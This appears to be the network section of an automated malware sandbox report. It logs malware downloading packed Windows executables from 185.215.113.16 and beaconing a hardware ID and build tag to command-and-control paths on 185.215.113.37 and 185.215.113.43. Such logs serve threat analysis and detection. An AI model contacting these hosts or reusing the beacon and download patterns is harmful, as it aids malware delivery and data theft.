69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6a 61 6f 78 77 61 64 00 80 19 00 00 50 4f 00 00 78 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 78 77 76 64 61 64 75 00 10 00 00 00 d0 68 00 00 06 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 68 00 00 22 00 00 00 ba 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:48:23 GMTContent-Type: application/octet-streamContent-Length: 2850816Last-Modified: Wed, 23 Oct 2024 13:13:56 GMTConnection: keep-aliveETag: "6718f694-2b8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 c7 c9 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 68 70 70 67 65 78 6a 00 20 2b 00 00 a0 00 00 00 20 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 72 6c 64 6a 6e 68 63 00 20 00 00 00 c0 2b 00 00 04 00 00 00 5a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:49:08 GMTContent-Type: application/octet-streamContent-Length: 2994688Last-Modified: Wed, 23 Oct 2024 13:34:38 GMTConnection: keep-aliveETag: "6718fb6e-2db200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 30 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 31 00 00 04 00 00 96 77 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 69 6e 68 62 64 75 7a 00 20 2b 00 00 00 06 00 00 1c 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 70 69 70 70 76 79 62 00 10 00 00 00 20 31 00 00 04 00 00 00 8c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 31 00 00 22 00 00 00 90 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:49:18 GMTContent-Type: application/octet-streamContent-Length: 1825792Last-Modified: Wed, 23 Oct 2024 13:34:44 GMTConnection: keep-aliveETag: "6718fb74-1bdc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 f0 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6a 61 6f 78 77 61 64 00 80 19 00 00 50 4f 00 00 78 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 78 77 76 64 61 64 75 00 10 00 00 00 d0 68 00 00 06 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 68 00 00 22 00 00 00 ba 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:49:27 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 23 Oct 2024 13:13:28 GMTConnection: keep-aliveETag: "6718f678-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 70 f6 18 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 f0 fc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:49:32 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"doma------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000976001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000977001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="build"doma------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000978001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="build"doma------HCBFIJJECFIEBGDGCFIJ--
